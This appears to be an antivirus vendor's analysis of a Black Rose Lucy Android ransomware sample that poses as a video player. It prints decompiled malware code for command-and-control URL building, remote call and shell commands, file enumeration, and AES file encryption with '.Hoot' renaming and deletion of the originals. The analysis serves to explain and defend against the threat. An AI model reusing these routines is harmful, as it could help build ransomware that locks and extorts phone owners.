General Explanation
Type: Trojan
Degree of destruction: average
Prevalence: average
What is Ransomware?
Ransomware is a kind of malware that enables criminals to lock the victim’s phone so that the user cannot use his/her phone. Sometimes criminals only unlock a small part such as a keyboard so the victim can pay the ransom money to the attackers. Ransomware increases and is released daily and new versions of them are continuously released over the internet. It is noteworthy to say that Ransomware authors are not recognizable and prosecutable due to using of cryptocurrencies. Many Ransomware will lock the phone in addition to encrypting files.
What is Lucy’s malware family?
This malware is a sample of the Black Rose Lucy family. The performance of Lucy is to act as a botnet and Ransomware for Android devices. After download, Ransomware will run on the phone and encrypt all existing files on the different directories of the device. Then, shows the ransom payment message in the browser window and claims that this message is an official message from the FBI and accuses the user to have pornographic content on his/her phone. Also, it said in this message that in addition to locking the phone all of the user information has been uploaded to the cybercrimes database of the FBI along with the list of the user’s legal violations. The assigned ransom to restore the encrypted files is 500$.
Technical Explanation
This application introduces itself as a safe video player application and in the first place, it used an accessibility service to run some of its infected codes without any transaction with the user. Enabling this service with result in more permanence of the malware. By running this application, its icon will be hidden immediately. In the main application service, the application will be initiated by using android BroadcastReceivers which is sent to all applications from OS, and by receiving the action.SCREEN_ON. I.e. somehow it shows that the program is registered and starts working. Due to sending this message to applications, two services, Wakelock and WifiLock, which keep the screen and the Wi-Fi on respectively, will be enabled. Then a message as a dialog box will be shown to the user and asks the user to activate Streaming Video Optimization. The user has two options: 1) to click on the OK button and 2) not click on it
- By clicking on the OK option, in fact, the application will access accessibility service without the user’s notice. The goal of this message is to attain access that any application does not have and infiltrate the user’s phone, so as to keep its permanence with more probability because it is assumed that this application is a member of active services. The accessibility service is for transactions between users and android OS automatically and is designed for users with disabilities or having a special limitation in using a different part of the phone.
Because the malware is a type of botnet, an infected server will be used to send the message and run infected codes on the user’s phone. This malware has 3 domains (encoded) which result in more permanence. Also, the address of command and control servers keeps as a long encoded string.
case 2:
paramString = new StringBuilder();
paramString.append("http://");
paramString.append(b);
localObject = "/http/private/add_log.php";
break;
case 1:
paramString = new StringBuilder();
paramString.append("http://");
paramString.append(b);
localObject = "/http/private/set_data.php";
break;
case 0:
label208: paramString = new StringBuilder();
paramString.append("http://");
paramString.append(b);
localObject = "/http/private/reg.php";
}
paramString.append((String)localObject);
b = paramString.toString();
return (String)b;
According to json sent file from servers, for each key, there is an adjusted value and a code that will be executed on the user’s phone
- Call: it will initiate a specific phone call with the received number from the malware server.
localStringBuilder.append("tel:");
localStringBuilder.append(this.a.getString("number").replace(""s;", "\""));
localMon53itor.startActivity(new Intent("android.intent.action.CALL", Uri.parse(localStringBuilder.toString())).setFlags(268435456));
return;
}).start();
- GetCrypt: will recall a service that tries to access to set of device directories. A list of existing files will be collected on the phone so it can initiate encoding operation.
- Decrypt: This is similar to Getcrypt but used to decrypt the encrypted file.
- GetCont: show the message that the payment is rejected
- GetApp: the list of all installed applications on the user’s phone will be sent to the command and control server.
e(((JSONObject)localObject).getString("text").replace(""s;", "\""));
break label573;
a("Shell",m.a.a(((JSONObject)localObject).getString("command").replace(""s;", "\"")), "log");
break label573;
a("Список приложений", a.a(this), "app");
- Delkey: will empty all variables which contain encrypted keys
- Deleted: this malware will delete itself from the phone
- StartShell: will initiate a remote shell on the user’s device to complete its goals and run remote orders.
- If the user does not click on the OK button related to the dialog, this dialog will continuously appear on the screen to attain the access from the user.
Infecting method
Encryption/decryption
Due to sending a message from the system OS to the application, two services, i.e. Wakelock and Wifilock which keep screen and Wi-Fi on respectively, will be enabled. Also, since this malware is a botnet when the key is sent to the application from the server as a JSON file, the code will be as follow:
- Will attain the complete list of all existing files in the phone directory.
- If the malware does not successfully do this, will attain the list of all existing files in the “storage” directory.
- Eventually, in case of not attaining any files in the 2 above steps, will attain a complete list of tiles in the SDcard directory.
try
{
d = ((PowerManager)getSystemService(“power”)).newWakeLock(1, getClass().getName());
d.acquire();
e = ((WifiManager)getApplicationContext().getSystemService(“wifi”)).createWifiLock(1, getClass().getName());
e.acquire();
}
catch (Exception localException1)
{
localObject3 = new StringBuilder();
((StringBuilder)localObject3).append(“”);
((StringBuilder)localObject3).append(localException1);
Log.v(“filesSS 2”, ((StringBuilder)localObject3).toString());
}
try
{
localObject3 = new ArrayList();
Object localObject4;
Object localObject2;
try
{
ArrayList localArrayList = l.a(getApplicationInfo().dataDir, “/”);
}
catch (Exception localObject2)
{
while (true)
{
localObject4 = new StringBuilder();
((StringBuilder)localObject4).append(“”);
((StringBuilder)localObject4).append(localException2);
((StringBuilder)localObject4).append(” directory “);
Log.v(“filesSS 23”, ((StringBuilder)localObject4).toString());
try
{
Object localObject1 = l.a(getApplicationInfo().dataDir, Environment.getExternalStorageDirectory().getPath());
if (localObject1 != null)
{
localObject4 = localObject1;
localObject3 = localObject1;
if (!((ArrayList)localObject1).isEmpty());
}
else
{
localObject3 = localObject1;
localObject4 = l.a(getApplicationInfo().dataDir, “/storage/”);
}
if (localObject4 != null)
{
localObject1 = localObject4;
localObject3 = localObject4;
if (!((ArrayList)localObject4).isEmpty())
continue;
}
localObject3 = localObject4;
localObject1 = l.a(getApplicationInfo().dataDir, “/sdcard/”);
}
catch (Exception localObject2)
{
localObject4 = new StringBuilder();
((StringBuilder)localObject4).append(“”);
((StringBuilder)localObject4).append(localException3);
((StringBuilder)localObject4).append(” directory “); ((StringBuilder)localObject4).append(Environment.getExternalStorageDirectory().getPath());
Log.v(“filesSS 233″, ((StringBuilder)localObject4).toString());
localObject2 = localObject3;
}
}
}
localObject3 = new StringBuilder();
((StringBuilder)localObject3).append(” “);
((StringBuilder)localObject3).append(localObject2);
((StringBuilder)localObject3).append(” directory “);
((StringBuilder)localObject3).append(Environment.getExternalStorageDirectory().getPath());
Log.v(“filesSS 2”, ((StringBuilder)localObject3).toString())
- In this section, the Ransomware author added a code related to the decrypted key of encrypted files, but in fact, they are wrong. From two functions, one used the AES algorithm with the constant number of“0x256” and the second used “HmacSHA256” with a constant number of “x1280”.
private SecretKey a()
{
try
{
Object localObject = KeyGenerator.getInstance(“AES”);
((KeyGenerator)localObject).init(256);
localObject = ((KeyGenerator)localObject).generateKey();
return localObject;
label20: return null;
}
catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
{
break label20;
}
} private byte[] b()
{
try
{
Object localObject = KeyGenerator.getInstance(“HmacSHA256”);
((KeyGenerator)localObject).init(128);
localObject = ((KeyGenerator)localObject).generateKey().getEncoded();
return localObject;
label25: return null;
}
catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
{
break label25;
}
}
In the following by using advanced encryption standards, the malware will start encrypting collected files. Writing on the files is based on some calculations of files such as the size of the file, from what size it infects, is not constant and specific. (I.e. the parameter will enter the function on the run time and dynamically and is not visible in the static state).
It will check whether a file with “.apk” is existed in the attained paths. If any, will encrypt this file and change its extension to “.Hoot”, by using the encryption algorithm which is specified for this malware. Then, remove the original file from the user’s phone and the encrypted file will be remained. If a file is not a member of the Ransomware encrypted file rule, will only change its extension to “.Hoot”. Also, before all files are encrypted, for Ransomware to be sure that all files are restorable, will re-decrypt an encrypted file with the file encryption algorithm.
The main decryption key includes the first part of the “SecretKeySpec” string with the value in the “key” string that has been sent from the server along with another string named “key” which has been recalled from the application database file. Whether which method is applied to the file, i.e. files encrypted or decrypted, will all depend on the Boolean variable return value in this class. If this value will be True the code is related to decryption and if it equals False, then the code is for encryption.
- Encryption algorithm
while (true)
{
int i = ((BufferedInputStream)localObject2).read(localObject1);
if (i == -1)
break;
((BufferedOutputStream)localObject3).write(localObject1, 0, i);
}
((BufferedOutputStream)localObject3).flush();
((BufferedInputStream)localObject2).close();
((BufferedOutputStream)localObject3).close();
if ((str2.contains(“.apk”)) && (!new File(str2).delete()) && (new File(str2).exists()))
new File(str2).delete();
localObject1 = new StringBuilder();
((StringBuilder)localObject1).append(str2);
((StringBuilder)localObject1).append(“.Hoot”);
if ((new File(((StringBuilder)localObject1).toString()).delete()) || (!new File(str2).exists())) continue; new File(str2).delete(); continue;
label454: str1 = str1.replace(“.Hoot”, “”);
if (!new File(str1).exists())
continue;
new File(str1).delete();
continue;
return null;
}
catch (Exception localException)
{
break label454;
}
- Decryption algorithm
try
{
if ((!new File(str1).exists()) && (!new File(str1).canWrite()))
continue;
String str2 = str1.replace(“.Hoot”, “”);
Object localObject1 = new FileInputStream(str1);
Object localObject2 = new byte[p.b().length];
long l = new File(str1).length() – p.b().length;
if (l <= -1L)
continue;
((FileInputStream)localObject1).skip(l);
((FileInputStream)localObject1).read(localObject2, 0, p.b().length);
if (!Arrays.equals(localObject2, p.b()))
continue;
((FileInputStream)localObject1).close();
localObject1 = new FileOutputStream(str1, true);
((FileOutputStream)localObject1).getChannel().truncate(l);
((FileOutputStream)localObject1).close();
Object localObject3 = Cipher.getInstance(p.c());
((Cipher)localObject3).init(2, p.d(), new IvParameterSpec(p.e()));
localObject1 = new byte[1024];
localObject2 = new BufferedInputStream(new FileInputStream(str1));
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append(“in Work decrypt “);
localStringBuilder.append(str1);
Log.v(“test”, localStringBuilder.toString())
After encrypting the file, it is time for the attacker to show the message to the user asking for a ransom for retrieving the user’s files. The attacker will show this message on the browser window which is claimed to be the official message from the FBI and accuses the victim to have pornographic content on his/her device. Also, this message says that in addition to locking the device, the user’s data is uploaded to the FBI cybercrime database center along with the list of legal violations that the victim is accused of the commission. Then it will be ordered the victim to enter his credit card information and pay a 500$ fine.
When decrypting files is completed, the malware will be sent the log related to successful decryption to inform the attacker that all files are decrypted successfully. Then the malware will change the current order to “delete” and continue its deletion and replace all encrypted files with healthy ones and will remove the “.Hoot” extension of the files.
How to deal with it and disinfect the system
To make sure that the system is safe, install Padvish antivirus and keep its database file and scan it.
Methods of preventing phone infection
- Avoid downloading and installing any application from unauthorized resources/markets.
- Note the requested permissions, when installing the mobile application.
- Continuously back up your saved data and files.
- Do not use unofficial versions of applications. Applications such as Telegram, and Instagram have many unofficial versions and most of them release through Telegram channels.